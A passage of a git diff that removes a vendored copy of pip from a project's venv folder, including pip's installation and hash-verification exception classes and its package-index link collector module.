-            f"sidecar has {self.f_val!r}, wheel has {self.m_val!r}"
-        )
-
-
-class MetadataInvalid(InstallationError):
-    """Metadata is invalid."""
-
-    def __init__(self, ireq: InstallRequirement, error: str) -> None:
-        self.ireq = ireq
-        self.error = error
-
-    def __str__(self) -> str:
-        return f"Requested {self.ireq} has invalid metadata: {self.error}"
-
-
-class InstallationSubprocessError(DiagnosticPipError, InstallationError):
-    """A subprocess call failed."""
-
-    reference = "subprocess-exited-with-error"
-
-    def __init__(
-        self,
-        *,
-        command_description: str,
-        exit_code: int,
-        output_lines: list[str] | None,
-    ) -> None:
-        if output_lines is None:
-            output_prompt = Text("No available output.")
-        else:
-            output_prompt = (
-                Text.from_markup(f"[red][{len(output_lines)} lines of output][/]\n")
-                + Text("".join(output_lines))
-                + Text.from_markup(R"[red]\[end of output][/]")
-            )
-
-        super().__init__(
-            message=(
-                f"[green]{escape(command_description)}[/] did not run successfully.\n"
-                f"exit code: {exit_code}"
-            ),
-            context=output_prompt,
-            hint_stmt=None,
-            note_stmt=(
-                "This error originates from a subprocess, and is likely not a "
-                "problem with pip."
-            ),
-        )
-
-        self.command_description = command_description
-        self.exit_code = exit_code
-
-    def __str__(self) -> str:
-        return f"{self.command_description} exited with {self.exit_code}"
-
-
-class MetadataGenerationFailed(DiagnosticPipError, InstallationError):
-    reference = "metadata-generation-failed"
-
-    def __init__(
-        self,
-        *,
-        package_details: str,
-    ) -> None:
-        super().__init__(
-            message="Encountered error while generating package metadata.",
-            context=escape(package_details),
-            hint_stmt="See above for details.",
-            note_stmt="This is an issue with the package mentioned above, not pip.",
-        )
-
-    def __str__(self) -> str:
-        return "metadata generation failed"
-
-
-class HashErrors(InstallationError):
-    """Multiple HashError instances rolled into one for reporting"""
-
-    def __init__(self) -> None:
-        self.errors: list[HashError] = []
-
-    def append(self, error: HashError) -> None:
-        self.errors.append(error)
-
-    def __str__(self) -> str:
-        lines = []
-        self.errors.sort(key=lambda e: e.order)
-        for cls, errors_of_cls in groupby(self.errors, lambda e: e.__class__):
-            lines.append(cls.head)
-            lines.extend(e.body() for e in errors_of_cls)
-        if lines:
-            return "\n".join(lines)
-        return ""
-
-    def __bool__(self) -> bool:
-        return bool(self.errors)
-
-
-class HashError(InstallationError):
-    """
-    A failure to verify a package against known-good hashes
-
-    :cvar order: An int sorting hash exception classes by difficulty of
-        recovery (lower being harder), so the user doesn't bother fretting
-        about unpinned packages when he has deeper issues, like VCS
-        dependencies, to deal with. Also keeps error reports in a
-        deterministic order.
-    :cvar head: A section heading for display above potentially many
-        exceptions of this kind
-    :ivar req: The InstallRequirement that triggered this error. This is
-        pasted on after the exception is instantiated, because it's not
-        typically available earlier.
-
-    """
-
-    req: InstallRequirement | None = None
-    head = ""
-    order: int = -1
-
-    def body(self) -> str:
-        """Return a summary of me for display under the heading.
-
-        This default implementation simply prints a description of the
-        triggering requirement.
-
-        :param req: The InstallRequirement that provoked this error, with
-            its link already populated by the resolver's _populate_link().
-
-        """
-        return f"    {self._requirement_name()}"
-
-    def __str__(self) -> str:
-        return f"{self.head}\n{self.body()}"
-
-    def _requirement_name(self) -> str:
-        """Return a description of the requirement that triggered me.
-
-        This default implementation returns long description of the req, with
-        line numbers
-
-        """
-        return str(self.req) if self.req else "unknown package"
-
-
-class VcsHashUnsupported(HashError):
-    """A hash was provided for a version-control-system-based requirement, but
-    we don't have a method for hashing those."""
-
-    order = 0
-    head = (
-        "Can't verify hashes for these requirements because we don't "
-        "have a way to hash version control repositories:"
-    )
-
-
-class DirectoryUrlHashUnsupported(HashError):
-    """A hash was provided for a version-control-system-based requirement, but
-    we don't have a method for hashing those."""
-
-    order = 1
-    head = (
-        "Can't verify hashes for these file:// requirements because they "
-        "point to directories:"
-    )
-
-
-class HashMissing(HashError):
-    """A hash was needed for a requirement but is absent."""
-
-    order = 2
-    head = (
-        "Hashes are required in --require-hashes mode, but they are "
-        "missing from some requirements. Here is a list of those "
-        "requirements along with the hashes their downloaded archives "
-        "actually had. Add lines like these to your requirements files to "
-        "prevent tampering. (If you did not enable --require-hashes "
-        "manually, note that it turns on automatically when any package "
-        "has a hash.)"
-    )
-
-    def __init__(self, gotten_hash: str) -> None:
-        """
-        :param gotten_hash: The hash of the (possibly malicious) archive we
-            just downloaded
-        """
-        self.gotten_hash = gotten_hash
-
-    def body(self) -> str:
-        # Dodge circular import.
-        from pip._internal.utils.hashes import FAVORITE_HASH
-
-        package = None
-        if self.req:
-            # In the case of URL-based requirements, display the original URL
-            # seen in the requirements file rather than the package name,
-            # so the output can be directly copied into the requirements file.
-            package = (
-                self.req.original_link
-                if self.req.is_direct
-                # In case someone feeds something downright stupid
-                # to InstallRequirement's constructor.
-                else getattr(self.req, "req", None)
-            )
-        return "    {} --hash={}:{}".format(
-            package or "unknown package", FAVORITE_HASH, self.gotten_hash
-        )
-
-
-class HashUnpinned(HashError):
-    """A requirement had a hash specified but was not pinned to a specific
-    version."""
-
-    order = 3
-    head = (
-        "In --require-hashes mode, all requirements must have their "
-        "versions pinned with ==. These do not:"
-    )
-
-
-class HashMismatch(HashError):
-    """
-    Distribution file hash values don't match.
-
-    :ivar package_name: The name of the package that triggered the hash
-        mismatch. Feel free to write to this after the exception is raise to
-        improve its error message.
-
-    """
-
-    order = 4
-    head = (
-        "THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS "
-        "FILE. If you have updated the package versions, please update "
-        "the hashes. Otherwise, examine the package contents carefully; "
-        "someone may have tampered with them."
-    )
-
-    def __init__(self, allowed: dict[str, list[str]], gots: dict[str, _Hash]) -> None:
-        """
-        :param allowed: A dict of algorithm names pointing to lists of allowed
-            hex digests
-        :param gots: A dict of algorithm names pointing to hashes we
-            actually got from the files under suspicion
-        """
-        self.allowed = allowed
-        self.gots = gots
-
-    def body(self) -> str:
-        return f"    {self._requirement_name()}:\n{self._hash_comparison()}"
-
-    def _hash_comparison(self) -> str:
-        """
-        Return a comparison of actual and expected hash values.
-
-        Example::
-
-               Expected sha256 abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcde
-                            or 123451234512345123451234512345123451234512345
-                    Got        bcdefbcdefbcdefbcdefbcdefbcdefbcdefbcdefbcdef
-
-        """
-
-        def hash_then_or(hash_name: str) -> chain[str]:
-            # For now, all the decent hashes have 6-char names, so we can get
-            # away with hard-coding space literals.
-            return chain([hash_name], repeat("    or"))
-
-        lines: list[str] = []
-        for hash_name, expecteds in self.allowed.items():
-            prefix = hash_then_or(hash_name)
-            lines.extend((f"        Expected {next(prefix)} {e}") for e in expecteds)
-            lines.append(
-                f"             Got        {self.gots[hash_name].hexdigest()}\n"
-            )
-        return "\n".join(lines)
-
-
-class UnsupportedPythonVersion(InstallationError):
-    """Unsupported python version according to Requires-Python package
-    metadata."""
-
-
-class ConfigurationFileCouldNotBeLoaded(ConfigurationError):
-    """When there are errors while loading a configuration file"""
-
-    def __init__(
-        self,
-        reason: str = "could not be loaded",
-        fname: str | None = None,
-        error: configparser.Error | None = None,
-    ) -> None:
-        super().__init__(error)
-        self.reason = reason
-        self.fname = fname
-        self.error = error
-
-    def __str__(self) -> str:
-        if self.fname is not None:
-            message_part = f" in {self.fname}."
-        else:
-            assert self.error is not None
-            message_part = f".\n{self.error}\n"
-        return f"Configuration file {self.reason}{message_part}"
-
-
-_DEFAULT_EXTERNALLY_MANAGED_ERROR = f"""\
-The Python environment under {sys.prefix} is managed externally, and may not be
-manipulated by the user. Please use specific tooling from the distributor of
-the Python installation to interact with this environment instead.
-"""
-
-
-class ExternallyManagedEnvironment(DiagnosticPipError):
-    """The current environment is externally managed.
-
-    This is raised when the current environment is externally managed, as
-    defined by `PEP 668`_. The ``EXTERNALLY-MANAGED`` configuration is checked
-    and displayed when the error is bubbled up to the user.
-
-    :param error: The error message read from ``EXTERNALLY-MANAGED``.
-    """
-
-    reference = "externally-managed-environment"
-
-    def __init__(self, error: str | None) -> None:
-        if error is None:
-            context = Text(_DEFAULT_EXTERNALLY_MANAGED_ERROR)
-        else:
-            context = Text(error)
-        super().__init__(
-            message="This environment is externally managed",
-            context=context,
-            note_stmt=(
-                "If you believe this is a mistake, please contact your "
-                "Python installation or OS distribution provider. "
-                "You can override this, at the risk of breaking your Python "
-                "installation or OS, by passing --break-system-packages."
-            ),
-            hint_stmt=Text("See PEP 668 for the detailed specification."),
-        )
-
-    @staticmethod
-    def _iter_externally_managed_error_keys() -> Iterator[str]:
-        # LC_MESSAGES is in POSIX, but not the C standard. The most common
-        # platform that does not implement this category is Windows, where
-        # using other categories for console message localization is equally
-        # unreliable, so we fall back to the locale-less vendor message. This
-        # can always be re-evaluated when a vendor proposes a new alternative.
-        try:
-            category = locale.LC_MESSAGES
-        except AttributeError:
-            lang: str | None = None
-        else:
-            lang, _ = locale.getlocale(category)
-        if lang is not None:
-            yield f"Error-{lang}"
-            for sep in ("-", "_"):
-                before, found, _ = lang.partition(sep)
-                if not found:
-                    continue
-                yield f"Error-{before}"
-        yield "Error"
-
-    @classmethod
-    def from_config(
-        cls,
-        config: pathlib.Path | str,
-    ) -> ExternallyManagedEnvironment:
-        parser = configparser.ConfigParser(interpolation=None)
-        try:
-            parser.read(config, encoding="utf-8")
-            section = parser["externally-managed"]
-            for key in cls._iter_externally_managed_error_keys():
-                with contextlib.suppress(KeyError):
-                    return cls(section[key])
-        except KeyError:
-            pass
-        except (OSError, UnicodeDecodeError, configparser.ParsingError):
-            from pip._internal.utils._log import VERBOSE
-
-            exc_info = logger.isEnabledFor(VERBOSE)
-            logger.warning("Failed to read %s", config, exc_info=exc_info)
-        return cls(None)
-
-
-class UninstallMissingRecord(DiagnosticPipError):
-    reference = "uninstall-no-record-file"
-
-    def __init__(self, *, distribution: BaseDistribution) -> None:
-        installer = distribution.installer
-        if not installer or installer == "pip":
-            dep = f"{distribution.raw_name}=={distribution.version}"
-            hint = Text.assemble(
-                "You might be able to recover from this via: ",
-                (f"pip install --ignore-installed --no-deps {dep}", "green"),
-            )
-        else:
-            hint = Text(
-                f"The package was installed by {installer}. "
-                "You should check if it can uninstall the package."
-            )
-
-        super().__init__(
-            message=Text(f"Cannot uninstall {distribution}"),
-            context=(
-                "The package's contents are unknown: "
-                f"no RECORD file was found for {distribution.raw_name}."
-            ),
-            hint_stmt=hint,
-        )
-
-
-class LegacyDistutilsInstall(DiagnosticPipError):
-    reference = "uninstall-distutils-installed-package"
-
-    def __init__(self, *, distribution: BaseDistribution) -> None:
-        super().__init__(
-            message=Text(f"Cannot uninstall {distribution}"),
-            context=(
-                "It is a distutils installed project and thus we cannot accurately "
-                "determine which files belong to it which would lead to only a partial "
-                "uninstall."
-            ),
-            hint_stmt=None,
-        )
-
-
-class InvalidInstalledPackage(DiagnosticPipError):
-    reference = "invalid-installed-package"
-
-    def __init__(
-        self,
-        *,
-        dist: BaseDistribution,
-        invalid_exc: InvalidRequirement | InvalidVersion,
-    ) -> None:
-        installed_location = dist.installed_location
-
-        if isinstance(invalid_exc, InvalidRequirement):
-            invalid_type = "requirement"
-        else:
-            invalid_type = "version"
-
-        super().__init__(
-            message=Text(
-                f"Cannot process installed package {dist} "
-                + (f"in {installed_location!r} " if installed_location else "")
-                + f"because it has an invalid {invalid_type}:\n{invalid_exc.args[0]}"
-            ),
-            context=(
-                "Starting with pip 24.1, packages with invalid "
-                f"{invalid_type}s can not be processed."
-            ),
-            hint_stmt="To proceed this package must be uninstalled.",
-        )
-
-
-class IncompleteDownloadError(DiagnosticPipError):
-    """Raised when the downloader receives fewer bytes than advertised
-    in the Content-Length header."""
-
-    reference = "incomplete-download"
-
-    def __init__(self, download: _FileDownload) -> None:
-        # Dodge circular import.
-        from pip._internal.utils.misc import format_size
-
-        assert download.size is not None
-        download_status = (
-            f"{format_size(download.bytes_received)}/{format_size(download.size)}"
-        )
-        if download.reattempts:
-            retry_status = f"after {download.reattempts + 1} attempts "
-            hint = "Use --resume-retries to configure resume attempt limit."
-        else:
-            # Download retrying is not enabled.
-            retry_status = ""
-            hint = "Consider using --resume-retries to enable download resumption."
-        message = Text(
-            f"Download failed {retry_status}because not enough bytes "
-            f"were received ({download_status})"
-        )
-
-        super().__init__(
-            message=message,
-            context=f"URL: {download.link.redacted_url}",
-            hint_stmt=hint,
-            note_stmt="This is an issue with network connectivity, not pip.",
-        )
-
-
-class ResolutionTooDeepError(DiagnosticPipError):
-    """Raised when the dependency resolver exceeds the maximum recursion depth."""
-
-    reference = "resolution-too-deep"
-
-    def __init__(self) -> None:
-        super().__init__(
-            message="Dependency resolution exceeded maximum depth",
-            context=(
-                "Pip cannot resolve the current dependencies as the dependency graph "
-                "is too complex for pip to solve efficiently."
-            ),
-            hint_stmt=(
-                "Try adding lower bounds to constrain your dependencies, "
-                "for example: 'package>=2.0.0' instead of just 'package'. "
-            ),
-            link="https://pip.pypa.io/en/stable/topics/dependency-resolution/#handling-resolution-too-deep-errors",
-        )
-
-
-class InstallWheelBuildError(DiagnosticPipError):
-    reference = "failed-wheel-build-for-install"
-
-    def __init__(self, failed: list[InstallRequirement]) -> None:
-        super().__init__(
-            message=(
-                "Failed to build installable wheels for some "
-                "pyproject.toml based projects"
-            ),
-            context=", ".join(r.name for r in failed),  # type: ignore
-            hint_stmt=None,
-        )
-
-
-class InvalidEggFragment(DiagnosticPipError):
-    reference = "invalid-egg-fragment"
-
-    def __init__(self, link: Link, fragment: str) -> None:
-        hint = ""
-        if ">" in fragment or "=" in fragment or "<" in fragment:
-            hint = (
-                "Version specifiers are silently ignored for URL references. "
-                "Remove them. "
-            )
-        if "[" in fragment and "]" in fragment:
-            hint += "Try using the Direct URL requirement syntax: 'name[extra] @ URL'"
-
-        if not hint:
-            hint = "Egg fragments can only be a valid project name."
-
-        super().__init__(
-            message=f"The '{escape(fragment)}' egg fragment is invalid",
-            context=f"from '{escape(str(link))}'",
-            hint_stmt=escape(hint),
-        )
-
-
-class BuildDependencyInstallError(DiagnosticPipError):
-    """Raised when build dependencies cannot be installed."""
-
-    reference = "failed-build-dependency-install"
-
-    def __init__(
-        self,
-        req: InstallRequirement | None,
-        build_reqs: Iterable[str],
-        *,
-        cause: Exception,
-        log_lines: list[str] | None,
-    ) -> None:
-        if isinstance(cause, PipError):
-            note = "This is likely not a problem with pip."
-        else:
-            note = (
-                "pip crashed unexpectedly. Please file an issue on pip's issue "
-                "tracker: https://github.com/pypa/pip/issues/new"
-            )
-
-        if log_lines is None:
-            # No logs are available, they must have been printed earlier.
-            context = Text("See above for more details.")
-        else:
-            if isinstance(cause, PipError):
-                log_lines.append(f"ERROR: {cause}")
-            else:
-                # Split rendered error into real lines without trailing newlines.
-                log_lines.extend(
-                    "".join(traceback.format_exception(cause)).splitlines()
-                )
-
-            context = Text.assemble(
-                f"Installing {' '.join(build_reqs)}\n",
-                (f"[{len(log_lines)} lines of output]\n", "red"),
-                "\n".join(log_lines),
-                ("\n[end of output]", "red"),
-            )
-
-        message = Text("Cannot install build dependencies", "green")
-        if req:
-            message += Text(f" for {req}")
-        super().__init__(
-            message=message, context=context, hint_stmt=None, note_stmt=note
-        )
-
-
-class VenvImportError(DiagnosticPipError):
-    """Raised when 'venv' can't be imported."""
-
-    reference = "venv-import-error"
-
-    def __init__(self) -> None:
-        if sys.platform != "linux":
-            hint_stmt = None
-        else:
-            hint_stmt = (
-                "If this is an OS-provided Python, it's likely that your OS "
-                "package maintainers have split Python's standard library across "
-                "multiple OS packages."
-            )
-        super().__init__(
-            message="Cannot import the 'venv' module of the Python standard library",
-            context=(
-                "This is a symptom of a broken/modified Python, which cannot be used "
-                "with pip."
-            ),
-            note_stmt="This is an issue with the Python installation itself, not pip.",
-            hint_stmt=hint_stmt,
-        )
-
-
-class VenvCreationError(DiagnosticPipError):
-    """Raised when a virtual environment can't be created."""
-
-    reference = "venv-creation-error"
-
-    def __init__(self, context: str) -> None:
-        if os.name == "nt":
-            hint = "This may be caused by running antivirus software."
-        else:
-            hint = None
-        super().__init__(
-            message="Cannot create a virtual environment",
-            context=Text(context),
-            hint_stmt=hint,
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/index/__init__.py b/venv/Lib/site-packages/pip/_internal/index/__init__.py
deleted file mode 100644
index 197dd757de979bf116810a678a9c07baeaa7dba1..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/index/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-"""Index interaction code"""
diff --git a/venv/Lib/site-packages/pip/_internal/index/collector.py b/venv/Lib/site-packages/pip/_internal/index/collector.py
deleted file mode 100644
index a77c3985d3cbfef2a463398cf3a5cf0c0f6990ee..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/index/collector.py
+++ /dev/null
@@ -1,510 +0,0 @@
-"""
-The main purpose of this module is to expose LinkCollector.collect_sources().
-"""
-
-from __future__ import annotations
-
-import collections
-import email.message
-import functools
-import itertools
-import json
-import logging
-import os
-import urllib.parse
-from collections.abc import Callable, Iterable, MutableMapping, Sequence
-from dataclasses import dataclass
-from html.parser import HTMLParser
-from optparse import Values
-from typing import (
-    NamedTuple,
-    Protocol,
-)
-
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.requests import Response
-from pip._vendor.requests.exceptions import RetryError
-
-from pip._internal.exceptions import (
-    ConnectionFailedError,
-    ConnectionTimeoutError,
-    NetworkConnectionError,
-    ProxyConnectionError,
-    SSLMissingError,
-    SSLVerificationError,
-)
-from pip._internal.models.link import Link
-from pip._internal.models.search_scope import SearchScope
-from pip._internal.network.session import PipSession
-from pip._internal.network.utils import raise_for_status
-from pip._internal.utils.filetypes import is_archive_file
-from pip._internal.utils.misc import redact_auth_from_url
-from pip._internal.utils.urls import url_to_path
-from pip._internal.vcs import vcs
-
-from .sources import CandidatesFromPage, LinkSource, build_source
-
-logger = logging.getLogger(__name__)
-
-ResponseHeaders = MutableMapping[str, str]
-
-
-def _match_vcs_scheme(url: str) -> str | None:
-    """Look for VCS schemes in the URL.
-
-    Returns the matched VCS scheme, or None if there's no match.
-    """
-    for scheme in vcs.schemes:
-        if url.lower().startswith(scheme) and url[len(scheme)] in "+:":
-            return scheme
-    return None
-
-
-class _NotAPIContent(Exception):
-    def __init__(self, content_type: str, request_desc: str) -> None:
-        super().__init__(content_type, request_desc)
-        self.content_type = content_type
-        self.request_desc = request_desc
-
-
-def _ensure_api_header(response: Response) -> None:
-    """
-    Check the Content-Type header to ensure the response contains a Simple
-    API Response.
-
-    Raises `_NotAPIContent` if the content type is not a valid content-type.
-    """
-    content_type = response.headers.get("Content-Type", "Unknown")
-
-    content_type_l = content_type.lower()
-    if content_type_l.startswith(
-        (
-            "text/html",
-            "application/vnd.pypi.simple.v1+html",
-            "application/vnd.pypi.simple.v1+json",
-        )
-    ):
-        return
-
-    raise _NotAPIContent(content_type, response.request.method)  # type: ignore[arg-type]
-
-
-class _NotHTTP(Exception):
-    pass
-
-
-def _ensure_api_response(url: str, session: PipSession) -> None:
-    """
-    Send a HEAD request to the URL, and ensure the response contains a simple
-    API Response.
-
-    Raises `_NotHTTP` if the URL is not available for a HEAD request, or
-    `_NotAPIContent` if the content type is not a valid content type.
-    """
-    scheme, netloc, path, query, fragment = urllib.parse.urlsplit(url)
-    if scheme not in {"http", "https"}:
-        raise _NotHTTP()
-
-    resp = session.head(url, allow_redirects=True)
-    raise_for_status(resp)
-
-    _ensure_api_header(resp)
-
-
-def _get_simple_response(
-    url: str,
-    session: PipSession,
-    force_revalidate: bool = False,
-) -> Response:
-    """Access an Simple API response with GET, and return the response.
-
-    This consists of three parts:
-
-    1. If the URL looks suspiciously like an archive, send a HEAD first to
-       check the Content-Type is HTML or Simple API, to avoid downloading a
-       large file. Raise `_NotHTTP` if the content type cannot be determined, or
-       `_NotAPIContent` if it is not HTML or a Simple API.
-    2. Actually perform the request. Raise HTTP exceptions on network failures.
-    3. Check the Content-Type header to make sure we got a Simple API response,
-       and raise `_NotAPIContent` otherwise.
-    """
-    if is_archive_file(Link(url).filename):
-        _ensure_api_response(url, session=session)
-
-    logger.debug("Getting page %s", redact_auth_from_url(url))
-
-    headers = {
-        "Accept": ", ".join(
-            [
-                "application/vnd.pypi.simple.v1+json",
-                "application/vnd.pypi.simple.v1+html; q=0.1",
-                "text/html; q=0.01",
-            ]
-        ),
-    }
-
-    if force_revalidate:
-        # Using max-age=0 rather than no-cache still supports conditional
-        # requests, minimizing traffic when the page hasn't changed.
-        # See pypa/pip#5670.
-        logger.debug("Refreshing package index response.")
-        headers["Cache-Control"] = "max-age=0"
-
-    resp = session.get(url, headers=headers)
-    raise_for_status(resp)
-
-    # The check for archives above only works if the url ends with
-    # something that looks like an archive. However that is not a
-    # requirement of an url. Unless we issue a HEAD request on every
-    # url we cannot know ahead of time for sure if something is a
-    # Simple API response or not. However we can check after we've
-    # downloaded it.
-    _ensure_api_header(resp)
-
-    logger.debug(
-        "Fetched page %s as %s",
-        redact_auth_from_url(url),
-        resp.headers.get("Content-Type", "Unknown"),
-    )
-
-    return resp
-
-
-def _get_encoding_from_headers(headers: ResponseHeaders) -> str | None:
-    """Determine if we have any encoding information in our headers."""
-    if headers and "Content-Type" in headers:
-        m = email.message.Message()
-        m["content-type"] = headers["Content-Type"]
-        charset = m.get_param("charset")
-        if charset:
-            return str(charset)
-    return None
-
-
-class CacheablePageContent:
-    def __init__(self, page: IndexContent) -> None:
-        assert page.cache_link_parsing
-        self.page = page
-
-    def __eq__(self, other: object) -> bool:
-        return isinstance(other, type(self)) and self.page.url == other.page.url
-
-    def __hash__(self) -> int:
-        return hash(self.page.url)
-
-
-class ParseLinks(Protocol):
-    def __call__(self, page: IndexContent) -> Iterable[Link]: ...
-
-
-def with_cached_index_content(fn: ParseLinks) -> ParseLinks:
-    """
-    Given a function that parses an Iterable[Link] from an IndexContent, cache the
-    function's result (keyed by CacheablePageContent), unless the IndexContent
-    `page` has `page.cache_link_parsing == False`.
-    """
-
-    @functools.cache
-    def wrapper(cacheable_page: CacheablePageContent) -> list[Link]:
-        return list(fn(cacheable_page.page))
-
-    @functools.wraps(fn)
-    def wrapper_wrapper(page: IndexContent) -> list[Link]:
-        if page.cache_link_parsing:
-            return wrapper(CacheablePageContent(page))
-        return list(fn(page))
-
-    return wrapper_wrapper
-
-
-@with_cached_index_content
-def parse_links(page: IndexContent) -> Iterable[Link]:
-    """
-    Parse a Simple API's Index Content, and yield its anchor elements as Link objects.
-    """
-
-    content_type_l = page.content_type.lower()
-    if content_type_l.startswith("application/vnd.pypi.simple.v1+json"):
-        data = json.loads(page.content)
-        for file in data.get("files", []):
-            link = Link.from_json(file, page.url)
-            if link is None:
-                continue
-            yield link
-        return
-
-    parser = HTMLLinkParser(page.url)
-    encoding = page.encoding or "utf-8"
-    parser.feed(page.content.decode(encoding))
-
-    url = page.url
-    base_url = parser.base_url or url
-    for anchor in parser.anchors:
-        link = Link.from_element(anchor, page_url=url, base_url=base_url)
-        if link is None:
-            continue
-        yield link
-
-
-@dataclass(frozen=True)
-class IndexContent:
-    """Represents one response (or page), along with its URL.
-
-    :param encoding: the encoding to decode the given content.
-    :param url: the URL from which the HTML was downloaded.
-    :param cache_link_parsing: whether links parsed from this page's url
-                               should be cached. PyPI index urls should
-                               have this set to False, for example.
-    """
-
-    content: bytes
-    content_type: str
-    encoding: str | None
-    url: str
-    cache_link_parsing: bool = True
-
-    def __str__(self) -> str:
-        return redact_auth_from_url(self.url)
-
-
-class HTMLLinkParser(HTMLParser):
-    """
-    HTMLParser that keeps the first base HREF and a list of all anchor
-    elements' attributes.
-    """
-
-    def __init__(self, url: str) -> None:
-        super().__init__(convert_charrefs=True)
-
-        self.url: str = url
-        self.base_url: str | None = None
-        self.anchors: list[dict[str, str | None]] = []
-
-    def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
-        if tag == "base" and self.base_url is None:
-            href = self.get_href(attrs)
-            if href is not None:
-                self.base_url = href
-        elif tag == "a":
-            self.anchors.append(dict(attrs))
-
-    def get_href(self, attrs: list[tuple[str, str | None]]) -> str | None:
-        for name, value in attrs:
-            if name == "href":
-                return value
-        return None
-
-
-def _handle_get_simple_fail(
-    link: Link,
-    reason: str | Exception,
-    meth: Callable[..., None] | None = None,
-) -> None:
-    if meth is None:
-        meth = logger.debug
-    meth("Could not fetch URL %s: %s - skipping", link, reason)
-
-
-def _make_index_content(
-    response: Response, cache_link_parsing: bool = True
-) -> IndexContent:
-    encoding = _get_encoding_from_headers(response.headers)
-    return IndexContent(
-        response.content,
-        response.headers["Content-Type"],
-        encoding=encoding,
-        url=response.url,
-        cache_link_parsing=cache_link_parsing,
-    )
-
-
-def _get_index_content(
-    link: Link,
-    *,
-    session: PipSession,
-    force_revalidate: bool = False,
-) -> IndexContent | None:
-    url = link.url.split("#", 1)[0]
-
-    # Check for VCS schemes that do not support lookup as web pages.
-    vcs_scheme = _match_vcs_scheme(url)
-    if vcs_scheme:
-        logger.warning(
-            "Cannot look at %s URL %s because it does not support lookup as web pages.",
-            vcs_scheme,
-            link,
-        )
-        return None
-
-    # Tack index.html onto file:// URLs that point to directories
-    if url.startswith("file:") and os.path.isdir(url_to_path(url)):
-        # add trailing slash if not present so urljoin doesn't trim
-        # final segment
-        if not url.endswith("/"):
-            url += "/"
-        # TODO: In the future, it would be nice if pip supported PEP 691
-        #       style responses in the file:// URLs, however there's no
-        #       standard file extension for application/vnd.pypi.simple.v1+json
-        #       so we'll need to come up with something on our own.
-        url = urllib.parse.urljoin(url, "index.html")
-        logger.debug(" file: URL is directory, getting %s", url)
-
-    try:
-        resp = _get_simple_response(
-            url, session=session, force_revalidate=force_revalidate
-        )
-    except _NotHTTP:
-        logger.warning(
-            "Skipping page %s because it looks like an archive, and cannot "
-            "be checked by a HTTP HEAD request.",
-            link,
-        )
-    except _NotAPIContent as exc:
-        logger.warning(
-            "Skipping page %s because the %s request got Content-Type: %s. "
-            "The only supported Content-Types are application/vnd.pypi.simple.v1+json, "
-            "application/vnd.pypi.simple.v1+html, and text/html",
-            link,
-            exc.request_desc,
-            exc.content_type,
-        )
-    except (RetryError, NetworkConnectionError) as exc:
-        _handle_get_simple_fail(link, exc)
-    except (SSLVerificationError, SSLMissingError) as exc:
-        reason = f"There was a problem confirming the ssl certificate: {exc.context}"
-        _handle_get_simple_fail(link, reason, meth=logger.info)
-    except ConnectionFailedError as exc:
-        _handle_get_simple_fail(link, f"connection error: {exc.context}")
-    except ProxyConnectionError as exc:
-        _handle_get_simple_fail(link, f"proxy connection error: {exc.context}")
-    except ConnectionTimeoutError as exc:
-        _handle_get_simple_fail(link, str(exc.context))
-    else:
-        return _make_index_content(resp, cache_link_parsing=link.cache_link_parsing)
-    return None
-
-
-class CollectedSources(NamedTuple):
-    find_links: Sequence[LinkSource | None]
-    index_urls: Sequence[LinkSource | None]
-
-
-class LinkCollector:
-    """
-    Responsible for collecting Link objects from all configured locations,
-    making network requests as needed.
-
-    The class's main method is its collect_sources() method.
-    """
-
-    def __init__(
-        self,
-        session: PipSession,
-        search_scope: SearchScope,
-    ) -> None:
-        self.search_scope = search_scope
-        self.session = session
-
-    @classmethod
-    def create(
-        cls,
-        session: PipSession,
-        options: Values,
-        suppress_no_index: bool = False,
-    ) -> LinkCollector:
-        """
-        :param session: The Session to use to make requests.
-        :param suppress_no_index: Whether to ignore the --no-index option
-            when constructing the SearchScope object.
-        """
-        index_urls = [options.index_url] + options.extra_index_urls
-        if options.no_index and not suppress_no_index:
-            logger.debug(
-                "Ignoring indexes: %s",
-                ",".join(redact_auth_from_url(url) for url in index_urls),
-            )
-            index_urls = []
-
-        # Make sure find_links is a list before passing to create().
-        find_links = options.find_links or []
-
-        search_scope = SearchScope.create(
-            find_links=find_links,
-            index_urls=index_urls,
-            no_index=options.no_index,
-        )
-        link_collector = LinkCollector(
-            session=session,
-            search_scope=search_scope,
-        )
-        return link_collector
-
-    @property
-    def find_links(self) -> list[str]:
-        return self.search_scope.find_links
-
-    def fetch_response(
-        self, location: Link, package_name: str | None = None
-    ) -> IndexContent | None:
-        """
-        Fetch an HTML page containing package links.
-        """
-        # By default we may return cached /simple/ responses. Users can force
-        # revalidation to ensure newly uploaded distributions become visible
-        # immediately after publication. See pypa/pip#5670.
-        force_revalidate = self.session.refresh_package
-        should_force_revalidate = ":all:" in force_revalidate or (
-            package_name is not None
-            and canonicalize_name(package_name) in force_revalidate
-        )
-        return _get_index_content(
-            location,
-            session=self.session,
-            force_revalidate=should_force_revalidate,
-        )
-
-    def collect_sources(
-        self,
-        project_name: str,
-        candidates_from_page: CandidatesFromPage,
-    ) -> CollectedSources:
-        # The OrderedDict calls deduplicate sources by URL.
-        index_url_sources = collections.OrderedDict(
-            build_source(
-                loc,
-                candidates_from_page=candidates_from_page,
-                page_validator=self.session.is_secure_origin,
-                expand_dir=False,
-                cache_link_parsing=False,
-                project_name=project_name,
-            )
-            for loc in self.search_scope.get_index_urls_locations(project_name)
-        ).values()
-        find_links_sources = collections.OrderedDict(
-            build_source(
-                loc,
-                candidates_from_page=candidates_from_page,
-                page_validator=self.session.is_secure_origin,
-                expand_dir=True,
-                cache_link_parsing=True,
-                project_name=project_name,
-            )
-            for loc in self.find_links
-        ).values()
-
-        if logger.isEnabledFor(logging.DEBUG):
-            lines = [
-                f"* {s.link}"
-                for s in itertools.chain(find_links_sources, index_url_sources)
-                if s is not None and s.link is not None
-            ]
-            lines = [
-                f"{len(lines)} location(s) to search "
-                f"for versions of {project_name}:"
-            ] + lines
-            logger.debug("\n".join(lines))
-
-        return CollectedSources(
-            find_links=list(find_links_sources),
-            index_urls=list(index_url_sources),
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/index/package_finder.py b/venv/Lib/site-packages/pip/_internal/index/package_finder.py
